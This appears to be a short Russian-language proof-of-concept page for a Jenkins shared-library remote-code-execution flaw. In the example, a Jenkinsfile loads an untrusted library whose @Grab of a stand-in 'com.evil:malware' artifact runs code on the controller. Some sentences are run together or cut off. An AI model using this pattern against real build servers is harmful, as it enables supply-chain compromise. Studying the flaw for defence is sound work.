
PoC для CVE-2026-22018, критической RCE-уязвимости в Jenkins Pipeline Shared Library через Groovy @Grab, демонстрирующий внедрение кода в цепочку поставок и шаги по устранению.
@Grab// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
evilStep()
}
Конвейер Jenkins загружает общую библиотеку из источника, которому не полностью доверяет. Библиотека использует аннотацию @Grab для загрузки внешних Maven-артефактов, которые могут включать вредоносный класс, выполняющий код на контроллере Jenkins во время компиляции Groovy.
@Grab загружает и подгружает произвольные JAR-файлы во время выполнения; общие библиотеки не изолированы в песочнице.Настройте конвейер с недоверенной библиотекой, содержащей @Grab('com.evil:malware:1.0') в своём vars/evilStep.groovy. Когда конвейер запускается, статический инициализатор вредоносного JAR-файла выполняется.
@Grab с помощью настроек безопасности песочницы Groovy.git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.